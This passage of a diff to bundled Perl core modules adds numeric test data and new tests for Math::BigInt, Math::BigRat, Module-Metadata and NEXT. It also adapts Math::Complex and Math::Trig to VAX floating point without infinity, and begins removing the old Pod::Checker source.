+123000000000:123:9
+1230000000000:123:10
+
+0.000000000001234:1234:-15
+0.00000000001234:1234:-14
+0.0000000001234:1234:-13
+0.000000001234:1234:-12
+0.00000001234:1234:-11
+0.0000001234:1234:-10
+0.000001234:1234:-9
+0.00001234:1234:-8
+0.0001234:1234:-7
+0.001234:1234:-6
+0.01234:1234:-5
+0.1234:1234:-4
+1.234:1234:-3
+12.34:1234:-2
+123.4:1234:-1
+1234:1234:0
+12340:1234:1
+123400:1234:2
+1234000:1234:3
+12340000:1234:4
+123400000:1234:5
+1234000000:1234:6
+12340000000:1234:7
+123400000000:1234:8
+1234000000000:1234:9
+
+0.000003141592:3141592:-12
+0.00003141592:3141592:-11
+0.0003141592:3141592:-10
+0.003141592:3141592:-9
+0.03141592:3141592:-8
+0.3141592:3141592:-7
+3.141592:3141592:-6
+31.41592:3141592:-5
+314.1592:3141592:-4
+3141.592:3141592:-3
+31415.92:3141592:-2
+314159.2:3141592:-1
+3141592:3141592:0
+
+# negativ: numbers
+
+-0.000000000001:-1:-12
+-0.00000000001:-1:-11
+-0.0000000001:-1:-10
+-0.000000001:-1:-9
+-0.00000001:-1:-8
+-0.0000001:-1:-7
+-0.000001:-1:-6
+-0.00001:-1:-5
+-0.0001:-1:-4
+-0.001:-1:-3
+-0.01:-1:-2
+-0.1:-1:-1
+-1:-1:0
+-10:-1:1
+-100:-1:2
+-1000:-1:3
+-10000:-1:4
+-100000:-1:5
+-1000000:-1:6
+-10000000:-1:7
+-100000000:-1:8
+-1000000000:-1:9
+-10000000000:-1:10
+-100000000000:-1:11
+-1000000000000:-1:12
+
+-0.0000000000012:-12:-13
+-0.000000000012:-12:-12
+-0.00000000012:-12:-11
+-0.0000000012:-12:-10
+-0.000000012:-12:-9
+-0.00000012:-12:-8
+-0.0000012:-12:-7
+-0.000012:-12:-6
+-0.00012:-12:-5
+-0.0012:-12:-4
+-0.012:-12:-3
+-0.12:-12:-2
+-1.2:-12:-1
+-12:-12:0
+-120:-12:1
+-1200:-12:2
+-12000:-12:3
+-120000:-12:4
+-1200000:-12:5
+-12000000:-12:6
+-120000000:-12:7
+-1200000000:-12:8
+-12000000000:-12:9
+-120000000000:-12:10
+-1200000000000:-12:11
+
+-0.00000000000123:-123:-14
+-0.0000000000123:-123:-13
+-0.000000000123:-123:-12
+-0.00000000123:-123:-11
+-0.0000000123:-123:-10
+-0.000000123:-123:-9
+-0.00000123:-123:-8
+-0.0000123:-123:-7
+-0.000123:-123:-6
+-0.00123:-123:-5
+-0.0123:-123:-4
+-0.123:-123:-3
+-1.23:-123:-2
+-12.3:-123:-1
+-123:-123:0
+-1230:-123:1
+-12300:-123:2
+-123000:-123:3
+-1230000:-123:4
+-12300000:-123:5
+-123000000:-123:6
+-1230000000:-123:7
+-12300000000:-123:8
+-123000000000:-123:9
+-1230000000000:-123:10
+
+-0.000000000001234:-1234:-15
+-0.00000000001234:-1234:-14
+-0.0000000001234:-1234:-13
+-0.000000001234:-1234:-12
+-0.00000001234:-1234:-11
+-0.0000001234:-1234:-10
+-0.000001234:-1234:-9
+-0.00001234:-1234:-8
+-0.0001234:-1234:-7
+-0.001234:-1234:-6
+-0.01234:-1234:-5
+-0.1234:-1234:-4
+-1.234:-1234:-3
+-12.34:-1234:-2
+-123.4:-1234:-1
+-1234:-1234:0
+-12340:-1234:1
+-123400:-1234:2
+-1234000:-1234:3
+-12340000:-1234:4
+-123400000:-1234:5
+-1234000000:-1234:6
+-12340000000:-1234:7
+-123400000000:-1234:8
+-1234000000000:-1234:9
+
+-0.000003141592:-3141592:-12
+-0.00003141592:-3141592:-11
+-0.0003141592:-3141592:-10
+-0.003141592:-3141592:-9
+-0.03141592:-3141592:-8
+-0.3141592:-3141592:-7
+-3.141592:-3141592:-6
+-31.41592:-3141592:-5
+-314.1592:-3141592:-4
+-3141.592:-3141592:-3
+-31415.92:-3141592:-2
+-314159.2:-3141592:-1
+-3141592:-3141592:0
diff --git a/gnu/usr.bin/perl/cpan/Math-BigInt/t/sparts-mbi.t b/gnu/usr.bin/perl/cpan/Math-BigInt/t/sparts-mbi.t
new file mode 100644
index 00000000000..648de7e8281
--- /dev/null
+++ b/gnu/usr.bin/perl/cpan/Math-BigInt/t/sparts-mbi.t
@@ -0,0 +1,162 @@
+#!perl
+
+use strict;
+use warnings;
+
+use Test::More tests => 784;
+
+use Math::BigInt;
+
+while (<DATA>) {
+ s/#.*$//; # remove comments
+ s/\s+$//; # remove trailing whitespace
+ next unless length; # skip empty lines
+
+ my ($x_str, $mant_str, $expo_str) = split /:/;
+
+ note(qq|\n\$x = Math::BigInt -> new("$x_str");|,
+ qq| (\$m, \$e) = \$x -> sparts();\n\n|);
+
+ {
+ my $x = Math::BigInt -> new($x_str);
+ my ($mant_got, $expo_got) = $x -> sparts();
+
+ isa_ok($mant_got, "Math::BigInt");
+ isa_ok($expo_got, "Math::BigInt");
+
+ is($mant_got, $mant_str, "value of mantissa");
+ is($expo_got, $expo_str, "value of exponent");
+ is($x, $x_str, "input is unmodified");
+ }
+
+ note(qq|\n\$x = Math::BigInt -> new("$x_str");|,
+ qq| \$m = \$x -> sparts();\n\n|);
+
+ {
+ my $x = Math::BigInt -> new($x_str);
+ my $mant_got = $x -> sparts();
+
+ isa_ok($mant_got, "Math::BigInt");
+
+ is($mant_got, $mant_str, "value of mantissa");
+ is($x, $x_str, "input is unmodified");
+ }
+
+}
+
+__DATA__
+
+NaN:NaN:NaN
+
+inf:inf:inf
+-inf:-inf:inf
+
+0:0:0
+
+# positive numbers
+
+1:1:0
+10:1:1
+100:1:2
+1000:1:3
+10000:1:4
+100000:1:5
+1000000:1:6
+10000000:1:7
+100000000:1:8
+1000000000:1:9
+10000000000:1:10
+100000000000:1:11
+1000000000000:1:12
+
+12:12:0
+120:12:1
+1200:12:2
+12000:12:3
+120000:12:4
+1200000:12:5
+12000000:12:6
+120000000:12:7
+1200000000:12:8
+12000000000:12:9
+120000000000:12:10
+1200000000000:12:11
+
+123:123:0
+1230:123:1
+12300:123:2
+123000:123:3
+1230000:123:4
+12300000:123:5
+123000000:123:6
+1230000000:123:7
+12300000000:123:8
+123000000000:123:9
+1230000000000:123:10
+
+1234:1234:0
+12340:1234:1
+123400:1234:2
+1234000:1234:3
+12340000:1234:4
+123400000:1234:5
+1234000000:1234:6
+12340000000:1234:7
+123400000000:1234:8
+1234000000000:1234:9
+
+3141592:3141592:0
+
+# negativ: numbers
+
+-1:-1:0
+-10:-1:1
+-100:-1:2
+-1000:-1:3
+-10000:-1:4
+-100000:-1:5
+-1000000:-1:6
+-10000000:-1:7
+-100000000:-1:8
+-1000000000:-1:9
+-10000000000:-1:10
+-100000000000:-1:11
+-1000000000000:-1:12
+
+-12:-12:0
+-120:-12:1
+-1200:-12:2
+-12000:-12:3
+-120000:-12:4
+-1200000:-12:5
+-12000000:-12:6
+-120000000:-12:7
+-1200000000:-12:8
+-12000000000:-12:9
+-120000000000:-12:10
+-1200000000000:-12:11
+
+-123:-123:0
+-1230:-123:1
+-12300:-123:2
+-123000:-123:3
+-1230000:-123:4
+-12300000:-123:5
+-123000000:-123:6
+-1230000000:-123:7
+-12300000000:-123:8
+-123000000000:-123:9
+-1230000000000:-123:10
+
+-1234:-1234:0
+-12340:-1234:1
+-123400:-1234:2
+-1234000:-1234:3
+-12340000:-1234:4
+-123400000:-1234:5
+-1234000000:-1234:6
+-12340000000:-1234:7
+-123400000000:-1234:8
+-1234000000000:-1234:9
+
+-3141592:-3141592:0
diff --git a/gnu/usr.bin/perl/cpan/Math-BigRat/t/bitwise.t b/gnu/usr.bin/perl/cpan/Math-BigRat/t/bitwise.t
index a23c5dcf52c..6bd499fa51e 100644
--- a/gnu/usr.bin/perl/cpan/Math-BigRat/t/bitwise.t
+++ b/gnu/usr.bin/perl/cpan/Math-BigRat/t/bitwise.t
@@ -3,19 +3,40 @@
use strict;
use warnings;
-use Test::More tests => 22;
+use Test::More tests => 2602;
-use Math::BigRat;
+my @classes = ('Math::BigRat');
-my $x = Math::BigRat->new('3/7');
+# We should test all the following operators:
+#
+# & | ^ << >> &= |= ^= <<= >>=
+#
+# as well as the corresponding methods
+#
+# band bior bxor blsft brsft
-for my $op (qw(& | ^ << >> &= |= ^= <<= >>=)) {
- my $test = "\$y = \$x $op 42";
- ok(!eval "my \$y = \$x $op 42; 1", $test);
- like($@, qr/^bitwise operation \Q$op\E not supported in Math::BigRat/,
- $test);
-}
+for my $class (@classes) {
+ use_ok($class);
+
+ for my $op (qw( & | ^ )) {
+ for (my $xscalar = 0 ; $xscalar <= 8 ; $xscalar += 0.5) {
+ for (my $yscalar = 0 ; $yscalar <= 8 ; $yscalar += 0.5) {
+
+ my $xint = int $xscalar;
+ my $yint = int $yscalar;
-my $test = "\$y = ~\$x";
-ok(!eval "my \$y = ~\$x; 1", $test);
-like($@, qr/^bitwise operation ~ not supported in Math::BigRat/, $test);
+ my $x = $class -> new("$xscalar");
+ my $y = $class -> new("$yscalar");
+
+ my $test = "$x $op $y";
+ my $expected = eval "$xscalar $op $yscalar";
+ my $got = eval "\$x $op \$y";
+
+ is($@, '', 'is $@ empty');
+ isa_ok($got, $class, $test);
+ is($got, $expected,
+ "$x $op $y = $xint $op $yint = $expected");
+ }
+ }
+ }
+}
diff --git a/gnu/usr.bin/perl/cpan/Math-BigRat/t/rt121139.t b/gnu/usr.bin/perl/cpan/Math-BigRat/t/rt121139.t
new file mode 100644
index 00000000000..b0cd214ad3b
--- /dev/null
+++ b/gnu/usr.bin/perl/cpan/Math-BigRat/t/rt121139.t
@@ -0,0 +1,16 @@
+#!perl
+
+# check for cpan rt #121139
+
+use strict;
+use warnings;
+use Test::More tests => 2;
+use Math::BigRat;
+
+my $a = Math::BigRat->new('3/2');
+my $x = Math::BigRat->new('2/3');
+is("$a", "3/2");
+
+my $y = $a;
+$y = $x * $y;
+is("$a", "3/2");
diff --git a/gnu/usr.bin/perl/cpan/Math-Complex/lib/Math/Complex.pm b/gnu/usr.bin/perl/cpan/Math-Complex/lib/Math/Complex.pm
index 19fb16486bf..ea3e006fe58 100644
--- a/gnu/usr.bin/perl/cpan/Math-Complex/lib/Math/Complex.pm
+++ b/gnu/usr.bin/perl/cpan/Math-Complex/lib/Math/Complex.pm
@@ -10,13 +10,32 @@ package Math::Complex;
{ use 5.006; }
use strict;
-our $VERSION = 1.59;
+our $VERSION = 1.59_01;
use Config;
-our($Inf, $ExpInf);
+our ($Inf, $ExpInf);
+our ($vax_float, $has_inf, $has_nan);
+
BEGIN {
- my %DBL_MAX =
+ $vax_float = (pack("d",1) =~ /^[\x80\x10]\x40/);
+ $has_inf = !$vax_float;
+ $has_nan = !$vax_float;
+
+ unless ($has_inf) {
+ # For example in vax, there is no Inf,
+ # and just mentioning the DBL_MAX (1.70141183460469229e+38)
+ # causes SIGFPE.
+
+ # These are pretty useless without a real infinity,
+ # but setting them makes for less warnings about their
+ # undefined values.
+ $Inf = "Inf";
+ $ExpInf = "Inf";
+ return;
+ }
+
+ my %DBL_MAX = # These are IEEE 754 maxima.
(
4 => '1.70141183460469229e+38',
8 => '1.7976931348623157e+308',
@@ -26,6 +45,7 @@ BEGIN {
12 => '1.1897314953572317650857593266280070162E+4932',
16 => '1.1897314953572317650857593266280070162E+4932',
);
+
my $nvsize = $Config{nvsize} ||
($Config{uselongdouble} && $Config{longdblsize}) ||
$Config{doublesize};
@@ -40,7 +60,7 @@ BEGIN {
if ($^O eq 'unicosmk') {
$Inf = $DBL_MAX;
} else {
- local $SIG{FPE} = { };
+ local $SIG{FPE} = sub { };
local $!;
# We do want an arithmetic overflow, Inf INF inf Infinity.
for my $t (
@@ -59,12 +79,12 @@ BEGIN {
$Inf = $i;
last;
}
- }
+ }
$Inf = $DBL_MAX unless defined $Inf; # Oh well, close enough.
die "Math::Complex: Could not get Infinity"
unless $Inf > $BIGGER_THAN_THIS;
- $ExpInf = exp(99999);
- }
+ $ExpInf = eval 'exp(99999)';
+ }
# print "# On this machine, Inf = '$Inf'\n";
}
@@ -190,9 +210,9 @@ sub _make {
if (defined $p) {
$p =~ s/^\+//;
- $p =~ s/^(-?)inf$/"${1}9**9**9"/e;
+ $p =~ s/^(-?)inf$/"${1}9**9**9"/e if $has_inf;
$q =~ s/^\+//;
- $q =~ s/^(-?)inf$/"${1}9**9**9"/e;
+ $q =~ s/^(-?)inf$/"${1}9**9**9"/e if $has_inf;
}
return ($p, $q);
@@ -215,8 +235,8 @@ sub _emake {
if (defined $p) {
$p =~ s/^\+//;
$q =~ s/^\+//;
- $p =~ s/^(-?)inf$/"${1}9**9**9"/e;
- $q =~ s/^(-?)inf$/"${1}9**9**9"/e;
+ $p =~ s/^(-?)inf$/"${1}9**9**9"/e if $has_inf;
+ $q =~ s/^(-?)inf$/"${1}9**9**9"/e if $has_inf;
}
return ($p, $q);
diff --git a/gnu/usr.bin/perl/cpan/Math-Complex/t/Complex.t b/gnu/usr.bin/perl/cpan/Math-Complex/t/Complex.t
index e62cb8879c8..9833131210c 100755
--- a/gnu/usr.bin/perl/cpan/Math-Complex/t/Complex.t
+++ b/gnu/usr.bin/perl/cpan/Math-Complex/t/Complex.t
@@ -8,6 +8,9 @@
use Math::Complex 1.54;
+our $vax_float = (pack("d",1) =~ /^[\x80\x10]\x40/);
+our $has_inf = !$vax_float;
+
my ($args, $op, $target, $test, $test_set, $try, $val, $zvalue, @set, @val);
$test = 0;
@@ -115,9 +118,14 @@ my $pii = cplx(0, pi);
my $pip2 = cplx(pi/2, 0);
my $pip4 = cplx(pi/4, 0);
my $zero = cplx(0, 0);
-my $inf = 9**9**9;
';
+if ($has_inf) {
+ $constants .= <<'EOF';
+my $inf = 9**9**9;
+EOF
+}
+
push(@script, $constants);
diff --git a/gnu/usr.bin/perl/cpan/Math-Complex/t/Trig.t b/gnu/usr.bin/perl/cpan/Math-Complex/t/Trig.t
index 290a21e58b2..31960bbb649 100755
--- a/gnu/usr.bin/perl/cpan/Math-Complex/t/Trig.t
+++ b/gnu/usr.bin/perl/cpan/Math-Complex/t/Trig.t
@@ -1,4 +1,4 @@
-#!./perl
+#!./perl
#
# Regression tests for the Math::Trig package
@@ -13,6 +13,9 @@ use Test::More tests => 153;
use Math::Trig 1.18;
use Math::Trig 1.18 qw(:pi Inf);
+our $vax_float = (pack("d",1) =~ /^[\x80\x10]\x40/);
+our $has_inf = !$vax_float;
+
my $pip2 = pi / 2;
use strict;
@@ -289,9 +292,14 @@ use Math::Trig ':radial';
ok(near($dst1, $dst2));
}
+SKIP: {
+# With netbsd-vax (or any vax) there is neither Inf, nor 1e40.
+skip("different float range", 42) if $vax_float;
+skip("no inf", 42) unless $has_inf;
+
print "# Infinity\n";
-my $BigDouble = 1e40;
+my $BigDouble = eval '1e40';
# E.g. netbsd-alpha core dumps on Inf arith without this.
local $SIG{FPE} = sub { };
@@ -318,17 +326,17 @@ ok(-Inf() / $BigDouble == -Inf());
print "# sinh/sech/cosh/csch/tanh/coth unto infinity\n";
-ok(near(sinh(100), 1.3441e+43, 1e-3));
-ok(near(sech(100), 7.4402e-44, 1e-3));
-ok(near(cosh(100), 1.3441e+43, 1e-3));
-ok(near(csch(100), 7.4402e-44, 1e-3));
+ok(near(sinh(100), eval '1.3441e+43', 1e-3));
+ok(near(sech(100), eval '7.4402e-44', 1e-3));
+ok(near(cosh(100), eval '1.3441e+43', 1e-3));
+ok(near(csch(100), eval '7.4402e-44', 1e-3));
ok(near(tanh(100), 1));
ok(near(coth(100), 1));
-ok(near(sinh(-100), -1.3441e+43, 1e-3));
-ok(near(sech(-100), 7.4402e-44, 1e-3));
-ok(near(cosh(-100), 1.3441e+43, 1e-3));
-ok(near(csch(-100), -7.4402e-44, 1e-3));
+ok(near(sinh(-100), eval '-1.3441e+43', 1e-3));
+ok(near(sech(-100), eval ' 7.4402e-44', 1e-3));
+ok(near(cosh(-100), eval ' 1.3441e+43', 1e-3));
+ok(near(csch(-100), eval '-7.4402e-44', 1e-3));
ok(near(tanh(-100), -1));
ok(near(coth(-100), -1));
@@ -346,6 +354,8 @@ cmp_ok(csch(-1e5), '==', 0);
cmp_ok(tanh(-1e5), '==', -1);
cmp_ok(coth(-1e5), '==', -1);
+}
+
print "# great_circle_distance with small angles\n";
for my $e (qw(1e-2 1e-3 1e-4 1e-5)) {
diff --git a/gnu/usr.bin/perl/cpan/Module-Metadata/t/extract-package.t b/gnu/usr.bin/perl/cpan/Module-Metadata/t/extract-package.t
index 640b23938b1..44f4de9b21b 100644
--- a/gnu/usr.bin/perl/cpan/Module-Metadata/t/extract-package.t
+++ b/gnu/usr.bin/perl/cpan/Module-Metadata/t/extract-package.t
@@ -107,6 +107,26 @@ package Simple;
$Foo::Bar::VERSION = '1.23';
---
},
+{
+ name => 'script 7 from t/metadata.t', # TODO merge these
+ package => [ '_private', 'main' ],
+ TODO => '$::VERSION indicates main namespace is referenced',
+ code => <<'---',
+package _private;
+$::VERSION = 0.01;
+$VERSION = '999';
+---
+},
+{
+ name => 'script 8 from t/metadata.t', # TODO merge these
+ package => [ '_private', 'main' ],
+ TODO => '$::VERSION indicates main namespace is referenced',
+ code => <<'---',
+package _private;
+$VERSION = '999';
+$::VERSION = 0.01;
+---
+},
);
my $test_num = 0;
@@ -118,12 +138,11 @@ foreach my $test_case (@pkg_names) {
note $test_case->{name};
my $code = $test_case->{code};
my $expected_name = $test_case->{package};
- local $TODO = $test_case->{TODO};
my $warnings = '';
local $SIG{__WARN__} = sub { $warnings .= $_ for @_ };
- my $pm_info = Module::Metadata->new_from_file(generate_file(File::Spec->catdir($tmpdir, "Simple${test_num}"), 'Simple.pm', $code));
+ my $pm_info = Module::Metadata->new_from_file(generate_file(File::Spec->catfile($tmpdir, "Simple${test_num}"), 'Simple.pm', $code));
# whenever we drop support for 5.6, we can do this:
# open my $fh, '<', \(encode('UTF-8', $code, Encode::FB_CROAK))
@@ -133,11 +152,14 @@ foreach my $test_case (@pkg_names) {
# Test::Builder will prematurely numify objects, so use this form
my $errs;
my @got = $pm_info->packages_inside();
+ {
+ local $TODO = $test_case->{TODO};
is_deeply( \@got, $expected_name,
"case $test_case->{name}: correct package names (expected '" . join(', ', @$expected_name) . "')" )
or $errs++;
+ }
is( $warnings, '', "case $test_case->{name}: no warnings from parsing" ) or $errs++;
- diag "Got: '" . join(', ', @got) . "'\nModule contents:\n$code" if $errs;
+ diag "Got: '" . join(', ', @got) . "'\nModule contents:\n$code" if !$ENV{PERL_CORE} && $errs;
}
continue {
++$test_num;
diff --git a/gnu/usr.bin/perl/cpan/Module-Metadata/t/extract-version.t b/gnu/usr.bin/perl/cpan/Module-Metadata/t/extract-version.t
index 278a6029dc6..1a49be1a129 100644
--- a/gnu/usr.bin/perl/cpan/Module-Metadata/t/extract-version.t
+++ b/gnu/usr.bin/perl/cpan/Module-Metadata/t/extract-version.t
@@ -3,7 +3,6 @@ use warnings;
# vim:ts=8:sw=2:et:sta:sts=2
use Test::More 0.82;
-use Data::Dumper;
use Module::Metadata;
use lib 't/lib';
@@ -602,6 +601,16 @@ $Foo::Bar::VERSION = '1.23';
vers => undef,
all_versions => { 'Foo::Bar' => '1.23' },
},
+{
+ name => 'package statement that does not quite match the filename',
+ filename => 'Simple.pm',
+ code => <<'---',
+package ThisIsNotSimple;
+our $VERSION = '1.23';
+---
+ vers => $undef,
+ all_versions => { 'ThisIsNotSimple' => '1.23' },
+},
);
my $test_num = 0;
@@ -617,14 +626,14 @@ foreach my $test_case (@modules) {
SKIP: {
skip( "No our() support until perl 5.6", (defined $expected_version ? 3 : 2) )
- if $] < 5.006 && $code =~ /\bour\b/;
+ if "$]" < 5.006 && $code =~ /\bour\b/;
skip( "No package NAME VERSION support until perl 5.11.1", (defined $expected_version ? 3 : 2) )
- if $] < 5.011001 && $code =~ /package\s+[\w\:\']+\s+v?[0-9._]+/;
+ if "$]" < 5.011001 && $code =~ /package\s+[\w\:\']+\s+v?[0-9._]+/;
my $warnings = '';
local $SIG{__WARN__} = sub { $warnings .= $_ for @_ };
- my $pm_info = Module::Metadata->new_from_file(generate_file(File::Spec->catdir($tmpdir, "Simple${test_num}"), 'Simple.pm', $code));
+ my $pm_info = Module::Metadata->new_from_file(generate_file(File::Spec->catfile($tmpdir, "Simple${test_num}"), 'Simple.pm', $code));
# whenever we drop support for 5.6, we can do this:
# open my $fh, '<', \(encode('UTF-8', $code, Encode::FB_CROAK))
@@ -639,8 +648,8 @@ foreach my $test_case (@modules) {
# We want to ensure we preserve the original, as long as it's legal, so we
# explicitly check the stringified form.
{
- local $TODO = $test_case->{TODO_got_version};
- isa_ok($got, 'version') if defined $expected_version;
+ local $TODO = !defined($got) && ($test_case->{TODO_code_sub} || $test_case->{TODO_scalar});
+ isa_ok($got, 'version') or $errs++ if defined $expected_version;
}
if (ref($expected_version) eq 'CODE') {
@@ -669,19 +678,19 @@ foreach my $test_case (@modules) {
ok(
$test_case->{all_versions}->($pm_info->{versions}),
"case '$test_case->{name}': all extracted versions passes match sub"
- );
+ ) or $errs++;
}
else {
is_deeply(
$pm_info->{versions},
$test_case->{all_versions},
'correctly found all $VERSIONs',
- );
+ ) or $errs++;
}
}
is( $warnings, '', "case '$test_case->{name}': no warnings from parsing" ) or $errs++;
- diag 'extracted versions: ', explain({ got => $pm_info->{versions}, module_contents => $code }) if !$ENV{PERL_CORE} && $errs;
+ diag 'parsed module: ', explain($pm_info) if !$ENV{PERL_CORE} && $errs;
}
}
continue {
diff --git a/gnu/usr.bin/perl/cpan/NEXT/t/next.t b/gnu/usr.bin/perl/cpan/NEXT/t/next.t
index bdabd1486fe..fd9bea671c2 100755
--- a/gnu/usr.bin/perl/cpan/NEXT/t/next.t
+++ b/gnu/usr.bin/perl/cpan/NEXT/t/next.t
@@ -1,4 +1,4 @@
-BEGIN { print "1..26\n"; }
+BEGIN { print "1..27\n"; }
use NEXT;
@@ -16,13 +16,13 @@ sub B::AUTOLOAD { return ( 9, $_[0]->NEXT::AUTOLOAD() )
sub B::DESTROY { $_[0]->NEXT::DESTROY() }
package C;
-sub C::DESTROY { print "ok 24\n"; $_[0]->NEXT::DESTROY() }
+sub C::DESTROY { print "ok 25\n"; $_[0]->NEXT::DESTROY() }
package D;
@D::ISA = qw( B C E );
sub D::method { return ( 2, $_[0]->NEXT::method() ) }
sub D::AUTOLOAD { return ( 8, $_[0]->NEXT::AUTOLOAD() ) }
-sub D::DESTROY { print "ok 23\n"; $_[0]->NEXT::DESTROY() }
+sub D::DESTROY { print "ok 24\n"; $_[0]->NEXT::DESTROY() }
sub D::oops { $_[0]->NEXT::method() }
sub D::secondary { return ( 17, 18, map { $_+10 } $_[0]->NEXT::secondary() ) }
@@ -31,12 +31,12 @@ package E;
sub E::method { return ( 4, $_[0]->NEXT::method(), $_[0]->NEXT::method() ) }
sub E::AUTOLOAD { return ( 10, $_[0]->NEXT::AUTOLOAD() )
if $AUTOLOAD =~ /.*(missing_method|secondary)/ }
-sub E::DESTROY { print "ok 25\n"; $_[0]->NEXT::DESTROY() }
+sub E::DESTROY { print "ok 26\n"; $_[0]->NEXT::DESTROY() }
package F;
sub F::method { return ( 5 ) }
sub F::AUTOLOAD { return ( 11 ) if $AUTOLOAD =~ /.*(missing_method|secondary)/ }
-sub F::DESTROY { print "ok 26\n" }
+sub F::DESTROY { print "ok 27\n" }
package G;
sub G::method { return ( 6 ) }
@@ -104,4 +104,15 @@ eval {
};
print "ok 22\n";
-# CAN REDISPATCH DESTRUCTORS (ok 23..26)
+# TEST WITH CONSTANTS (23)
+
+package Hay;
+@ISA = 'Bee';
+sub foo { return shift->NEXT::foo }
+package Bee;
+use constant foo => 3;
+package main;
+print "not " unless Hay->foo eq '3';
+print "ok 23\n";
+
+# CAN REDISPATCH DESTRUCTORS (ok 24..27)
diff --git a/gnu/usr.bin/perl/cpan/Pod-Checker/lib/Pod/Checker.pm b/gnu/usr.bin/perl/cpan/Pod-Checker/lib/Pod/Checker.pm
index ba47e6fa718..0d18aaedb10 100644
--- a/gnu/usr.bin/perl/cpan/Pod-Checker/lib/Pod/Checker.pm
+++ b/gnu/usr.bin/perl/cpan/Pod-Checker/lib/Pod/Checker.pm
@@ -1,1330 +1,1090 @@
-#############################################################################
-# Pod/Checker.pm -- check pod documents for syntax errors
-#
-# Copyright (C) 1994-2000 by Bradford Appleton. All rights reserved.
-# This file is part of "PodParser". PodParser is free software;
-# you can redistribute it and/or modify it under the same terms
-# as Perl itself.
-#############################################################################
-
-package Pod::Checker;
-use strict;
-
-use vars qw($VERSION @ISA @EXPORT %VALID_COMMANDS %VALID_SEQUENCES);
-$VERSION = '1.60'; ## Current version of this package
-require 5.005; ## requires this Perl version or later
-
-use Pod::ParseUtils; ## for hyperlinks and lists
-
-=head1 NAME
-
-Pod::Checker, podchecker() - check pod documents for syntax errors
-
-=head1 SYNOPSIS
-
- use Pod::Checker;
-
- $num_errors = podchecker($filepath, $outputpath, %options);
-
- my $checker = new Pod::Checker %options;
- $checker->parse_from_file($filepath, \*STDERR);
-
-=head1 OPTIONS/ARGUMENTS
-
-C<$filepath> is the input POD to read and C<$outputpath> is
-where to write POD syntax error messages. Either argument may be a scalar
-indicating a file-path, or else a reference to an open filehandle.
-If unspecified, the input-file it defaults to C<\*STDIN>, and
-the output-file defaults to C<\*STDERR>.
-
-=head2 podchecker()
-
-This function can take a hash of options:
-
-=over 4
-
-=item B<-warnings> =E<gt> I<val>
-
-Turn warnings on/off. I<val> is usually 1 for on, but higher values
-trigger additional warnings. See L<"Warnings">.
-
-=back
-
-=head1 DESCRIPTION
-
-B<podchecker> will perform syntax checking of Perl5 POD format documentation.
-
-Curious/ambitious users are welcome to propose additional features they wish
-to see in B<Pod::Checker> and B<podchecker> and verify that the checks are
-consistent with L<perlpod>.
-
-The following checks are currently performed:
-
-=over 4
-
-=item *
-
-Unknown '=xxxx' commands, unknown 'XE<lt>...E<gt>' interior-sequences,
-and unterminated interior sequences.
-
-=item *
-
-Check for proper balancing of C<=begin> and C<=end>. The contents of such
-a block are generally ignored, i.e. no syntax checks are performed.
-
-=item *
-
-Check for proper nesting and balancing of C<=over>, C<=item> and C<=back>.
-
-=item *
-
-Check for same nested interior-sequences (e.g.
-C<LE<lt>...LE<lt>...E<gt>...E<gt>>).
-
-=item *
-
-Check for malformed or non-existing entities C<EE<lt>...E<gt>>.
-
-=item *
-
-Check for correct syntax of hyperlinks C<LE<lt>...E<gt>>. See L<perlpod>
-for details.
-
-=item *
-
-Check for unresolved document-internal links. This check may also reveal
-misspelled links that seem to be internal links but should be links
-to something else.
-
-=back
-
-=head1 DIAGNOSTICS
-
-=head2 Errors
-
-=over 4
-
-=item * empty =headn
-
-A heading (C<=head1> or C<=head2>) without any text? That ain't no
-heading!
-
-=item * =over on line I<N> without closing =back
-
-The C<=over> command does not have a corresponding C<=back> before the
-next heading (C<=head1> or C<=head2>) or the end of the file.
-
-=item * =item without previous =over
-
-=item * =back without previous =over
-
-An C<=item> or C<=back> command has been found outside a
-C<=over>/C<=back> block.
-
-=item * No argument for =begin
-
-A C<=begin> command was found that is not followed by the formatter
-specification.
-
-=item * =end without =begin
-
-A standalone C<=end> command was found.
-
-=item * Nested =begin's
-
-There were at least two consecutive C<=begin> commands without
-the corresponding C<=end>. Only one C<=begin> may be active at
-a time.
-
-=item * =for without formatter specification
-
-There is no specification of the formatter after the C<=for> command.
-
-=item * Apparent command =foo not preceded by blank line
-
-A command which has ended up in the middle of a paragraph or other command,
-such as
-
- =item one
- =item two <-- bad
-
-=item * unresolved internal link I<NAME>
-
-The given link to I<NAME> does not have a matching node in the current
-POD. This also happened when a single word node name is not enclosed in
-C<"">.
-
-=item * Unknown command "I<CMD>"
-
-An invalid POD command has been found. Valid are C<=head1>, C<=head2>,
-C<=head3>, C<=head4>, C<=over>, C<=item>, C<=back>, C<=begin>, C<=end>,
-C<=for>, C<=pod>, C<=cut>
-
-=item * Unknown interior-sequence "I<SEQ>"
-
-An invalid markup command has been encountered. Valid are:
-C<BE<lt>E<gt>>, C<CE<lt>E<gt>>, C<EE<lt>E<gt>>, C<FE<lt>E<gt>>,
-C<IE<lt>E<gt>>, C<LE<lt>E<gt>>, C<SE<lt>E<gt>>, C<XE<lt>E<gt>>,
-C<ZE<lt>E<gt>>
-
-=item * nested commands I<CMD>E<lt>...I<CMD>E<lt>...E<gt>...E<gt>
-
-Two nested identical markup commands have been found. Generally this
-does not make sense.
-
-=item * garbled entity I<STRING>
-
-The I<STRING> found cannot be interpreted as a character entity.
-
-=item * Entity number out of range
-
-An entity specified by number (dec, hex, oct) is out of range (1-255).
-
-=item * malformed link LE<lt>E<gt>
-
-The link found cannot be parsed because it does not conform to the
-syntax described in L<perlpod>.
-
-=item * nonempty ZE<lt>E<gt>
-
-The C<ZE<lt>E<gt>> sequence is supposed to be empty.
-
-=item * empty XE<lt>E<gt>
-
-The index entry specified contains nothing but whitespace.
-
-=item * Spurious text after =pod / =cut
-
-The commands C<=pod> and C<=cut> do not take any arguments.
-
-=item * Spurious =cut command
-
-A C<=cut> command was found without a preceding POD paragraph.
-
-=item * Spurious =pod command
-
-A C<=pod> command was found after a preceding POD paragraph.
-
-=item * Spurious character(s) after =back
-
-The C<=back> command does not take any arguments.
-
-=back
-
-=head2 Warnings
-
-These may not necessarily cause trouble, but indicate mediocre style.
-
-=over 4
-
-=item * multiple occurrence of link target I<name>
-
-The POD file has some C<=item> and/or C<=head> commands that have
-the same text. Potential hyperlinks to such a text cannot be unique then.
-This warning is printed only with warning level greater than one.
-
-=item * line containing nothing but whitespace in paragraph
-
-There is some whitespace on a seemingly empty line. POD is very sensitive
-to such things, so this is flagged. B<vi> users switch on the B<list>
-option to avoid this problem.
-
-=begin _disabled_
-
